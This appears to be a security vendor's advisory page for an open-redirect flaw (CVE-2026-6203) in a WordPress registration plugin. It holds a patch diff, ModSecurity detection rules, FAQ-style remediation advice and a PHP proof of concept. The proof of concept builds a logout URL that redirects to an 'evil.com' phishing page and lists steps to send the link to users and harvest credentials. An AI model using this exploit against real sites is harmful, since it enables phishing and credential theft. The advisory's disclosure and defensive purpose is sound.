- 'desc' => sprintf( __( 'Confirmation page shown after successful registration or membership purchase. Use it to welcome new members and provide next steps. Add the Thank You block or [%s] shortcode to this page.', 'user-registration' ), apply_filters( 'user_registration_membership_thank_you_shortcode_tag', 'user_registration_membership_thank_you' ) ),
- //phpcs:ignore
- 'id' => 'user_registration_thank_you_page_id',
- 'type' => 'single_select_page',
- 'default' => '',
- 'class' => 'ur-enhanced-select-nostd',
- 'css' => '',
- 'desc_tip' => true,
- ),
+// array(
+// 'title' => __( 'Thank You Page', 'user-registration' ),
+// 'desc' => sprintf( __( 'Confirmation page shown after successful registration or membership purchase. Use it to welcome new members and provide next steps. Add the Thank You block or [%s] shortcode to this page.', 'user-registration' ), apply_filters( 'user_registration_membership_thank_you_shortcode_tag', 'user_registration_membership_thank_you' ) ),
+// //phpcs:ignore
+// 'id' => 'user_registration_thank_you_page_id',
+// 'type' => 'single_select_page',
+// 'default' => '',
+// 'class' => 'ur-enhanced-select-nostd',
+// 'css' => '',
+// 'desc_tip' => true,
+// ),
),
),
),
--- a/user-registration/includes/admin/settings/class-ur-settings-import-export.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-import-export.php
@@ -49,7 +49,7 @@
if( 'import-export' !== $current_section ) return $sections;
$sections = array(
- '' => __( 'Export Users', 'user-registration' ),
+ '' => __( 'Export Members', 'user-registration' ),
'import-export-forms' => __( 'Import/Export Forms', 'user-registration' ),
);
--- a/user-registration/includes/admin/settings/class-ur-settings-membership.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-membership.php
@@ -12,12 +12,13 @@
* @version 5.0.0
* @since 5.0.0
*/
+
if ( ! class_exists( 'UR_Settings_Membership' ) ) {
/**
* UR_Settings_Membership Class
*/
class UR_Settings_Membership extends UR_Settings_Page {
- private static $_instance = null;
+ private static $_instance = null; // phpcs:ignore
/**
* Constructor.
*/
@@ -27,6 +28,12 @@
parent::__construct();
$this->handle_hooks();
}
+
+ /**
+ * Singleton class instance.
+ *
+ * @return UR_Settings_Membership
+ */
public static function get_instance() {
if ( null === self::$_instance ) {
self::$_instance = new self();
@@ -35,14 +42,18 @@
}
/**
* Register hooks for submenus and section UI.
+ *
* @return void
*/
public function handle_hooks() {
add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
}
+
/**
* Filter to provide sections submenu for membership settings.
+ *
+ * @param array $sections Settings section.
*/
public function get_sections_callback( $sections ) {
$sections['general'] = __( 'General', 'user-registration' );
@@ -50,8 +61,12 @@
return $sections;
}
+
/**
* Filter to provide sections UI for membership settings.
+ *
+ * @param array $settings Settings array.
+ * @return array
*/
public function get_settings_callback( $settings ) {
global $current_section;
@@ -70,6 +85,7 @@
'title' => __( 'General', 'user-registration' ),
'type' => 'card',
'desc' => sprintf(
+ /* translators: %s - Admin URL for membership page settings */
__( '<strong>Membership page setting has moved.</strong> Configure your membership page <a href="%s">here</a>.', 'user-registration' ),
admin_url( 'admin.php?page=user-registration-settings&tab=general§ion=pages' )
),
@@ -99,8 +115,13 @@
return $settings;
}
+ /**
+ * Content restriction settings.
+ *
+ * @return array
+ */
public function urcr_settings() {
- // Build sections array
+ // Build sections array.
$sections = array();
$default_message = '<h3>' . __( 'Membership Required', 'user-registration' ) . '</h3>
@@ -135,8 +156,12 @@
),
);
$is_new_installation = ur_string_to_bool( get_option( 'urm_is_new_installation', '' ) );
- if ( $is_new_installation ) {
- $sections['user_registration_content_restriction_settings']['desc'] = sprintf( __( '<strong>The Global Restriction setting has moved.</strong> You can now manage it <a href="%1$s" target="_blank" style="text-decoration: underline;" >here.</a>', 'user-registration' ), esc_url_raw( $content_rule_url ) );
+ if ( ! $is_new_installation ) {
+ $sections['user_registration_content_restriction_settings']['desc'] = sprintf(
+ /* translators: %s - Content rule URL */
+ __( '<strong>The Global Restriction setting has moved.</strong> You can now manage it <a href="%1$s" target="_blank" style="text-decoration: underline;" >here.</a>', 'user-registration' ),
+ esc_url_raw( $content_rule_url )
+ );
}
return apply_filters(
@@ -151,5 +176,5 @@
}
}
-//Backward Compatibility.
+// Backward Compatibility.
return method_exists( 'UR_Settings_Membership', 'get_instance' ) ? UR_Settings_Membership::get_instance() : new UR_Settings_Membership();
--- a/user-registration/includes/admin/settings/class-ur-settings-page.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-page.php
@@ -33,6 +33,8 @@
/**
* List of sections.
+ *
+ * @var array
*/
protected $sections = array();
@@ -59,6 +61,8 @@
/**
* Get default section.
+ *
+ * @param string $default_section Default Section.
*/
public function get_default_section( $default_section ) {
return $this->get_sections() ? array_key_first( $this->get_sections() ) : $default_section;
@@ -109,7 +113,6 @@
/**
* Backward compatibility: previous settings section.
*/
- // $settings = apply_filters( 'user_registration_' . $this->id . '_settings', $settings );
return $settings;
}
@@ -135,6 +138,32 @@
public function output_sections() {
global $current_section;
+ $active_section = $current_section;
+
+ if ( 'email' === $this->id && is_string( $current_section ) && 0 === strpos( $current_section, 'ur_settings_' ) && method_exists( $this, 'get_emails' ) ) {
+ $emails = $this->get_emails();
+ if ( is_array( $emails ) ) {
+ foreach ( $emails as $email ) {
+ if ( ! isset( $email->id, $email->receiver ) ) {
+ continue;
+ }
+ if ( 'ur_settings_' . $email->id !== $current_section ) {
+ continue;
+ }
+ $receiver = strtolower( $email->receiver );
+ if ( 'admin' === $receiver ) {
+ $active_section = 'to-admin';
+ } elseif ( 'user' === $receiver ) {
+ $active_section = 'to-user';
+ }
+ break;
+ }
+ }
+ }
+
+ if ( 'email' === $this->id && is_string( $current_section ) && 0 === strpos( $current_section, 'ur_settings_custom_email_' ) ) {
+ $active_section = 'custom-email';
+ }
$sections = $this->get_sections();
if ( empty( $sections ) ) {
@@ -164,7 +193,7 @@
if ( isset( $premium_tab[ $id ]['plugin'] ) && is_plugin_active( $premium_tab[ $id ]['plugin'] . '/' . $premium_tab[ $id ]['plugin'] . '.php' ) && ( in_array( $premium_tab[ $id ]['plugin'], $tab_slugs ) || in_array( $id, $tab_slugs ) || in_array( $id_bc, $tab_slugs ) ) ) {
$show_section = false;
}
- //woocommerce compatibility.
+ // woocommerce compatibility.
if ( 'woocommerce' === $id && ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
$show_section = false;
}
@@ -183,30 +212,42 @@
if ( $show_section ) {
ob_start();
?>
- <li <?php echo ( $current_section === $id ? ' class="current" ' : '' ); ?>>
- <a href="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-settings&tab=' . $this->id . '§ion=' . sanitize_title( $id ) ) ); ?>" class="<?php echo( $current_section === $id ? 'current' : '' ); ?> ur-scroll-ui__item">
+ <li <?php echo ( $active_section === $id ? ' class="current" ' : '' ); ?>>
+ <a href="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-settings&tab=' . $this->id . '§ion=' . sanitize_title( $id ) ) ); ?>" class="<?php echo( $active_section === $id ? 'current' : '' ); ?> ur-scroll-ui__item">
<span class="timeline"></span>
<span class="submenu"><?php echo esc_html( $label ); ?></span>
<?php if ( $show_premium_icon ) : ?>
- <img style="width: 14px; height: 14px;margin-left: 4px;" src="<?php echo UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png'; ?>" />
- <?php
+ <img style="width: 14px; height: 14px;margin-left: 4px;" src="<?php echo esc_url( UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png' ); ?>" />
+ <?php
endif;
?>
</a>
</li>
<?php
- echo ob_get_clean();
+ echo ob_get_clean(); // phpcs:ignore
}
}
echo '</ul>';
}
+
+ /**
+ * Get section parts.
+ *
+ * @return array
+ */
public function get_section_parts() {
return apply_filters(
'user_registration_get_section_parts_' . $this->id,
- array(),
+ array()
);
}
+
+ /**
+ * Output section parts.
+ *
+ * @return void
+ */
public function output_section_parts() {
global $current_section;
global $current_section_part;
@@ -225,7 +266,7 @@
</a>
</li>
<?php
- echo ob_get_clean();
+ echo ob_get_clean(); // phpcs:ignore
}
echo '</ul>';
@@ -238,6 +279,11 @@
UR_Admin_Settings::output_fields( $settings );
}
+ /**
+ * Upgrade to pro settings.
+ *
+ * @return array
+ */
public function upgrade_to_pro_setting() {
global $current_section;
global $current_tab;
--- a/user-registration/includes/admin/settings/class-ur-settings-payment.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-payment.php
@@ -15,46 +15,49 @@
* UR_Settings_Payment Class
*/
class UR_Settings_Payment extends UR_Settings_Page {
- private static $_instance = null;
+ private static $_instance = null;
/**
* Constructor.
*/
private function __construct() {
$this->id = 'payment';
$this->label = __( 'Payment', 'user-registration' );
- parent::__construct();
- $this->handle_hooks();
+ parent::__construct();
+ $this->handle_hooks();
}
- public static function get_instance() {
- if ( null === self::$_instance ) {
- self::$_instance = new self();
- }
- return self::$_instance;
- }
- /**
- * Register hooks for submenus and section UI.
- * @return void
- */
- public function handle_hooks() {
- add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
- add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
-
- add_filter( 'urm_validate_bank_payment_section_before_update', array(
- $this,
- 'validate_bank_section'
- ) );
+ public static function get_instance() {
+ if ( null === self::$_instance ) {
+ self::$_instance = new self();
+ }
+ return self::$_instance;
+ }
+ /**
+ * Register hooks for submenus and section UI.
+ * @return void
+ */
+ public function handle_hooks() {
+ add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
+ add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
+
+ add_filter(
+ 'urm_validate_bank_payment_section_before_update',
+ array(
+ $this,
+ 'validate_bank_section',
+ )
+ );
add_action( 'urm_save_bank_payment_section', array( $this, 'save_section_settings' ), 10, 1 );
- }
+ }
public function validate_bank_section( $form_data ) {
$response = array(
'status' => true,
);
- if( isset($form_data['user_registration_bank_enabled']) && ! $form_data['user_registration_bank_enabled'] ) {
+ if ( isset( $form_data['user_registration_bank_enabled'] ) && ! $form_data['user_registration_bank_enabled'] ) {
return $response;
}
- if ( empty( $form_data['user_registration_global_bank_details'] )) {
+ if ( empty( $form_data['user_registration_global_bank_details'] ) ) {
$response['status'] = false;
$response['message'] = 'Bank details cannot be empty';
return $response;
@@ -68,50 +71,60 @@
ur_save_settings_options( $section, $form_data );
}
- /**
- * Filter to provide sections submenu for payment settings.
- */
- public function get_sections_callback( $sections ) {
- $sections[ 'payment-method' ] = __( 'Payment Method', 'user-registration' );
- $sections[ 'store' ] = __( 'Store', 'user-registration' );
- return $sections;
- }
- /**
- * Filter to provide sections UI for payment settings.
- */
- public function get_settings_callback( $settings ) {
- global $current_section;
- if( ! in_array( $current_section, array( 'payment-method', 'store', 'tax-vat', 'invoices', 'payment-retry' ) ) ) return;
- $general_settings = $this->get_general_settings();
- $paypal_settings = $this->get_paypal_settings();
- $stripe_settings = $this->get_stripe_settings();
- $bank_transfer_settings = $this->get_bank_transfer_settings();
- if( 'payment-method' === $current_section ) {
- add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
- $settings = array(
- 'title' => '',
- 'sections' => array(
- 'paypal_options' => $paypal_settings,
- 'stripe_options' => $stripe_settings,
- 'bank_transfer_options' => $bank_transfer_settings,
- ),
- );
- /* Backward compatibility */
- $settings = apply_filters( 'user_registration_payment_settings', $settings );
- } elseif( 'store' === $current_section ) {
- add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
- $settings = array(
- 'title' => '',
- 'sections' => array(
- 'general_options' => $general_settings,
- )
- );
- } else {
- $settings = $this->upgrade_to_pro_setting();
- }
- return $settings;
- }
- /**
+ /**
+ * Filter to provide sections submenu for payment settings.
+ */
+ public function get_sections_callback( $sections ) {
+ $sections['payment-method'] = __( 'Payment Method', 'user-registration' );
+ $sections['store'] = __( 'Store', 'user-registration' );
+ return $sections;
+ }
+ /**
+ * Filter to provide sections UI for payment settings.
+ */
+ public function get_settings_callback( $settings ) {
+ global $current_section;
+ if ( ! in_array( $current_section, array( 'payment-method', 'store', 'tax-vat', 'invoices', 'payment-retry' ) ) ) {
+ return;
+ }
+ $general_settings = $this->get_general_settings();
+ $paypal_settings = $this->get_paypal_settings();
+ $stripe_settings = $this->get_stripe_settings();
+ $bank_transfer_settings = $this->get_bank_transfer_settings();
+ if ( ! UR_PRO_ACTIVE ) {
+ $authorize_net_free_settings = $this->get_free_authorize_net_transfer_settings();
+ $mollie_free_settings = $this->get_free_mollie_transfer_settings();
+ }
+ if ( 'payment-method' === $current_section ) {
+ add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
+ $settings = array(
+ 'title' => '',
+ 'sections' => array(
+ 'paypal_options' => $paypal_settings,
+ 'stripe_options' => $stripe_settings,
+ 'bank_transfer_options' => $bank_transfer_settings,
+ ),
+ );
+ if ( ! UR_PRO_ACTIVE ) {
+ $settings['sections']['mollie_free_options'] = $mollie_free_settings;
+ $settings['sections']['authorize_net_free_options'] = $authorize_net_free_settings;
+ }
+ /* Backward compatibility */
+ $settings = apply_filters( 'user_registration_payment_settings', $settings );
+ } elseif ( 'store' === $current_section ) {
+ add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
+ $settings = array(
+ 'title' => '',
+ 'sections' => array(
+ 'general_options' => $general_settings,
+ ),
+ );
+ } else {
+ $settings = $this->upgrade_to_pro_setting();
+ }
+ return $settings;
+ }
+ /**
* Function to get general Settings
*/
public function get_general_settings() {
@@ -124,289 +137,320 @@
}
$settings = array(
- 'id' => 'payment-settings',
- 'title' => esc_html__( 'Store', 'user-registration' ),
- 'type' => 'card',
- 'desc' => '',
- 'show_status' => false,
- 'show_logo' => false,
- 'settings' => array(
- array(
- 'title' => __( 'Currency', 'user-registration' ),
- 'desc' => __( 'This option lets you choose currency for payments.', 'user-registration' ),
- 'id' => 'user_registration_payment_currency',
- 'default' => 'USD',
- 'type' => 'select',
- 'class' => 'ur-enhanced-select',
- 'css' => '',
- 'desc_tip' => true,
- 'options' => $currencies_list,
- ),
- array(
- 'title' => __( 'Save', 'user-registration' ),
- 'id' => 'user_registration_payment_save_settings',
- 'type' => 'button',
- 'class' => 'payment-settings-btn'
- ),
- )
- );
- return apply_filters( 'user_registration_payment_settings', $settings );
- }
-
- public function get_paypal_settings() {
-
- $test_admin_email = get_option( 'user_registration_global_paypal_test_admin_email', '' );
- $test_client_id = get_option( 'user_registration_global_paypal_test_client_id', '' );
- $test_client_secret = get_option( 'user_registration_global_paypal_test_client_secret', '' );
-
- $live_admin_email = get_option( 'user_registration_global_paypal_live_admin_email', '' );
- $live_client_id = get_option( 'user_registration_global_paypal_live_client_id', '' );
- $live_client_secret = get_option( 'user_registration_global_paypal_live_client_secret', '' );
-
- $paypal_mode = get_option( 'user_registration_global_paypal_mode', '' );
- $paypal_enabled = get_option( 'user_registration_paypal_enabled', '' );
-
- if ( false === get_option( 'urm_global_paypal_settings_migrated_', false ) ) {
- //runs for backward compatibility, could be removed in future versions.
- if( 'test' === $paypal_mode ) {
- $test_admin_email = get_option( 'user_registration_global_paypal_email_address', '' );
- $test_client_id = get_option( 'user_registration_global_paypal_client_id', '' );
- $test_client_secret = get_option( 'user_registration_global_paypal_client_secret', '' );
- } else {
- $live_admin_email = get_option( 'user_registration_global_paypal_email_address', '' );
- $live_client_id = get_option( 'user_registration_global_paypal_client_id', '' );
- $live_client_secret = get_option( 'user_registration_global_paypal_client_secret', '' );
- }
- }
-
- // Determine default toggle value based on urm_is_new_installation option
- $paypal_toggle_default = ur_string_to_bool(get_option( 'urm_is_new_installation', false )) ;
-
- return array(
- 'title' => __( 'Paypal', 'user-registration' ),
- 'type' => 'accordian',
- 'id' => 'paypal',
- 'desc' => '',
- 'is_connected' => get_option( 'urm_paypal_connection_status', false ),
- 'settings' => array(
- array(
- 'type' => 'toggle',
- 'title' => __( 'Enable PayPal', 'user-registration' ),
- 'desc' => __( 'Enable PayPal payment gateway.', 'user-registration' ),
- 'id' => 'user_registration_paypal_enabled',
- 'desc_tip' => true,
- 'default' => ($paypal_enabled) ? $paypal_enabled : !$paypal_toggle_default,
- 'class' => 'urm_toggle_pg_status',
- ),
- array(
- 'id' => 'user_registration_global_paypal_mode',
- 'type' => 'select',
- 'title' => __( 'Mode', 'user-registration' ),
- 'desc' => __( 'Select a mode to run paypal.', 'user-registration' ),
- 'desc_tip' => true,
- 'options' => array(
- 'production' => __( 'Production', 'user-registration' ),
- 'test' => __( 'Test/Sandbox', 'user-registration' ),
- ),
- 'class' => 'ur-enhanced-select',
- 'default' => $paypal_mode,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Cancel Url', 'user-registration' ),
- 'desc' => __( 'Endpoint set for handling paypal cancel api.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_cancel_url',
- 'default' => get_option( 'user_registration_global_paypal_cancel_url' ),
- 'placeholder' => esc_url( home_url() ),
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Return Url', 'user-registration' ),
- 'desc' => __( 'Redirect url after the payment process, also used as notify_url for Paypal IPN.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_return_url',
- 'default' => get_option( 'user_registration_global_paypal_return_url' ),
- 'placeholder' => esc_url( wp_login_url() ),
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'PayPal Email Address', 'user-registration' ),
- 'desc' => __( 'Enter your PayPal email address in sandbox/test mode.', 'user-registration' ),
- 'desc_tip' => true,
- 'required' => true,
- 'id' => 'user_registration_global_paypal_test_email_address',
- 'default' => $test_admin_email,
- 'placeholder' => $test_admin_email
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client ID', 'user-registration' ),
- 'desc' => __( 'Client ID for PayPal in sandbox/test mode.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_test_client_id',
- 'default' => $test_client_id,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client Secret', 'user-registration' ),
- 'desc' => __( 'Client Secret for PayPal in sandbox/test mode.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_test_client_secret',
- 'default' => $test_client_secret,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'PayPal Email Address', 'user-registration' ),
- 'desc' => __( 'Enter your PayPal email address.', 'user-registration' ),
- 'desc_tip' => true,
- 'required' => true,
- 'id' => 'user_registration_global_paypal_live_email_address',
- 'default' => $live_admin_email,
- 'placeholder' => $live_admin_email,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client ID', 'user-registration' ),
- 'desc' => __( 'Your client_id, Required for subscription related operations.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_live_client_id',
- 'default' => $live_client_id,
- ),
- array(
- 'type' => 'text',
- 'title' => __( 'Client Secret', 'user-registration' ),
- 'desc' => __( 'Your client_secret, Required for subscription related operations.', 'user-registration' ),
- 'desc_tip' => true,
- 'id' => 'user_registration_global_paypal_live_client_secret',
- 'default' => $live_client_secret,
- ),
- array(
- 'title' => __( 'Save', 'user-registration' ),
- 'id' => 'user_registration_paypal_save_settings',
- 'type' => 'button',
- 'class' => 'payment-settings-btn',
- ),
- ),
- );
- }
- public function get_stripe_settings() {
- $stripe_enabled = get_option( 'user_registration_stripe_enabled', '' );
-
- // Determine default toggle value based on urm_is_new_installation option
- $stripe_toggle_default = ur_string_to_bool(get_option( 'urm_is_new_installation', false ));
-
- return array(
- 'id' => 'stripe',
- 'title' => __( 'Stripe', 'user-registration' ),
- 'type' => 'accordian',
- 'show_status' => false,
- 'desc' => '',
- 'is_connected' => get_option( 'urm_stripe_connection_status', false ),
- 'settings' => array(
- array(
- 'type' => 'toggle',
- 'title' => __( 'Enable Stripe', 'user-registration' ),
- 'desc' => __( 'Enable Stripe payment gateway.', 'user-registration' ),
- 'id' => 'user_registration_stripe_enabled',
- 'desc_tip' => true,
- 'default' => ($stripe_enabled) ? $stripe_enabled : !$stripe_toggle_default,
- 'class' => 'urm_toggle_pg_status',
- ),
- array(
- 'type' => 'toggle',
- 'title' => __( 'Enable Test Mode', 'user-registration' ),
- 'desc' => __( 'Check if using test mode.', 'user-registration' ),
- 'id' => 'user_registration_stripe_test_mode',
- 'desc_tip' => true,
- 'default' => '',
- ),
- array(
- 'title' => __( 'Publishable key', 'user-registration' ),
- 'desc' => __( 'Stripe publishable key in test mode.', 'user-registration' ),
- 'id' => 'user_registration_stripe_test_publishable_key',
- 'type' => 'text',
- 'css' => 'min-width: 350px',
- 'desc_tip' => true,
- 'default' => '',
- ),
- array(
- 'tit
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx ^/(?:wp-login.php|wp-admin/admin-ajax.php)"
"id:20266203,phase:2,deny,status:403,chain,msg:'CVE-2026-6203: User Registration & Membership plugin open redirect attempt',severity:'CRITICAL',tag:'CVE-2026-6203',tag:'OWASP_A1:Injection',tag:'WASCTC:WASC-38',tag:'PCI:6.5.4'"
SecRule ARGS_GET:action "@streq logout" "chain"
SecRule ARGS_GET:redirect_to_on_logout "@rx ^(?:ht|f)tps?://"
"t:lowercase,t:urlDecodeUni,t:removeNulls,chain"
SecRule ARGS_GET:redirect_to_on_logout "!@rx ^(?:ht|f)tps?://([^/]+.)?(localhost|127.0.0.1|[::1]|example.com)"
"t:lowercase,t:urlDecodeUni,setvar:'tx.cve20266203_score=+1',setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
SecRule REQUEST_URI "@rx ^/(?:wp-login.php|wp-admin/admin-ajax.php)"
"id:20266204,phase:2,deny,status:403,chain,msg:'CVE-2026-6203: Encoded open redirect attempt via redirect_to_on_logout',severity:'CRITICAL',tag:'CVE-2026-6203',tag:'OWASP_A1:Injection'"
SecRule ARGS_GET:action "@streq logout" "chain"
SecRule ARGS_GET:redirect_to_on_logout "@rx %(?:25)?2[fF]%(?:25)?2[fF][^/]+%2[fF]"
"t:urlDecodeUni,t:removeNulls,chain"
SecRule ARGS_GET:redirect_to_on_logout "@rx ^(?:ht|f)tps?://"
"t:lowercase,t:urlDecodeUni,chain"
SecRule ARGS_GET:redirect_to_on_logout "!@rx ^(?:ht|f)tps?://([^/]+.)?(localhost|127.0.0.1|[::1]|example.com)"
"t:lowercase,t:urlDecodeUni,setvar:'tx.cve20266203_score=+1',setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6203 - User Registration & Membership <= 5.1.4 - Unauthenticated Open Redirect via 'redirect_to_on_logout' Parameter
<?php
/**
* Proof of Concept for CVE-2026-6203
* Demonstrates unauthenticated open redirect via 'redirect_to_on_logout' parameter
* Target: WordPress sites with User Registration & Membership plugin <= 5.1.4
*/
// Configuration
$target_url = "https://victim-site.com"; // Change to target WordPress site
$malicious_redirect = "https://evil.com/phishing-page"; // Change to attacker-controlled site
// Construct the exploit URL
// The plugin's logout functionality is typically accessed via wp-login.php with action=logout
$exploit_url = $target_url . "/wp-login.php?action=logout&redirect_to_on_logout=" . urlencode($malicious_redirect);
// Display the exploit link
echo "Exploit URL: " . $exploit_url . "nn";
// Optional: Automatically test with cURL
function test_exploit($url) {
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Don't follow redirects automatically
curl_setopt($ch, CURLOPT_HEADER, true); // Get headers to see redirect
curl_setopt($ch, CURLOPT_NOBODY, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
curl_close($ch);
// Analyze response
echo "HTTP Status Code: " . $http_code . "n";
if ($http_code >= 300 && $http_code < 400) {
echo "VULNERABLE: Site is redirecting to external locationn";
if ($redirect_url) {
echo "Redirect URL: " . $redirect_url . "n";
}
// Check if Location header contains our malicious URL
if (strpos($response, "Location: ") !== false) {
$location_header = substr($response, strpos($response, "Location: ") + 10);
$location_header = substr($location_header, 0, strpos($location_header, "rn"));
echo "Location Header: " . $location_header . "n";
if (strpos($location_header, 'evil.com') !== false || strpos($location_header, $malicious_redirect) !== false) {
echo "CONFIRMED: Redirect points to attacker-controlled domainn";
}
}
} elseif ($http_code == 200) {
echo "POTENTIALLY PATCHED: No redirect occurred (may be using wp_safe_redirect)n";
} else {
echo "Test completed with status: " . $http_code . "n";
}
}
// Uncomment to automatically test
// test_exploit($exploit_url);
// Usage instructions
echo "nInstructions:n";
echo "1. Send the exploit URL to a logged-in user of the target siten";
echo "2. When the user clicks the link, they will be logged out and redirected to the malicious siten";
echo "3. The malicious site can mimic a login page to steal credentialsn";
?>
Frequently Asked Questions
What is CVE-2026-6203?
Overview of the vulnerabilityCVE-2026-6203 is a medium severity vulnerability in the User Registration & Membership plugin for WordPress, affecting versions up to and including 5.1.4. It allows unauthenticated open redirects via the ‘redirect_to_on_logout’ GET parameter, enabling attackers to redirect users to malicious external URLs after logout.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient validation of the ‘redirect_to_on_logout’ parameter, which is passed directly to the wp_redirect() function. This allows attackers to craft a URL that redirects users to an external site after they log out, facilitating potential phishing attacks.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the User Registration & Membership plugin version 5.1.4 or earlier is affected. Administrators should check their plugin version in the WordPress admin panel under Installed Plugins to determine if they need to take action.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the User Registration & Membership plugin installed. If it is version 5.1.4 or earlier, your site is at risk of exploitation through this vulnerability.
How can I fix CVE-2026-6203?
Steps to mitigate the issueThe vulnerability is fixed in version 5.1.5 of the User Registration & Membership plugin. Update the plugin to the latest version to ensure that the open redirect vulnerability is patched.
What does a CVSS score of 6.1 indicate?
Understanding risk levelsA CVSS score of 6.1 indicates a medium severity vulnerability. This means that while the vulnerability does not directly compromise the system, it can lead to significant risks such as phishing attacks, making it important to address.
What are the practical risks associated with this vulnerability?
Potential consequences of exploitationThe main risk associated with CVE-2026-6203 is that attackers can redirect users to malicious sites after logout, potentially leading to credential theft or malware delivery. This type of social engineering attack can trick users into providing sensitive information.
How does the proof of concept demonstrate the issue?
Understanding the exploitThe proof of concept shows how an attacker can construct a malicious URL that exploits the vulnerability. By appending the ‘redirect_to_on_logout’ parameter with a malicious URL, the attacker can redirect a user to an external site after they log out.
What is the recommended action for WordPress administrators?
Immediate steps to takeWordPress administrators should immediately update the User Registration & Membership plugin to version 5.1.5 or later. Additionally, they should review their site’s security practices to mitigate the risk of phishing attacks.
Are there any additional security measures I should consider?
Enhancing site securityIn addition to updating the plugin, consider implementing security plugins that monitor for suspicious activities, educating users about phishing, and regularly reviewing site logs for unusual login attempts or redirects.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategiesIf immediate updates are not possible, consider disabling the User Registration & Membership plugin until it can be updated. Additionally, monitor user activity closely and inform users about the potential risks.
Where can I find more information about CVE-2026-6203?
Resources for further researchMore information about CVE-2026-6203 can be found in the official CVE database, security advisories from the plugin developers, and security blogs that analyze vulnerabilities in WordPress plugins.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






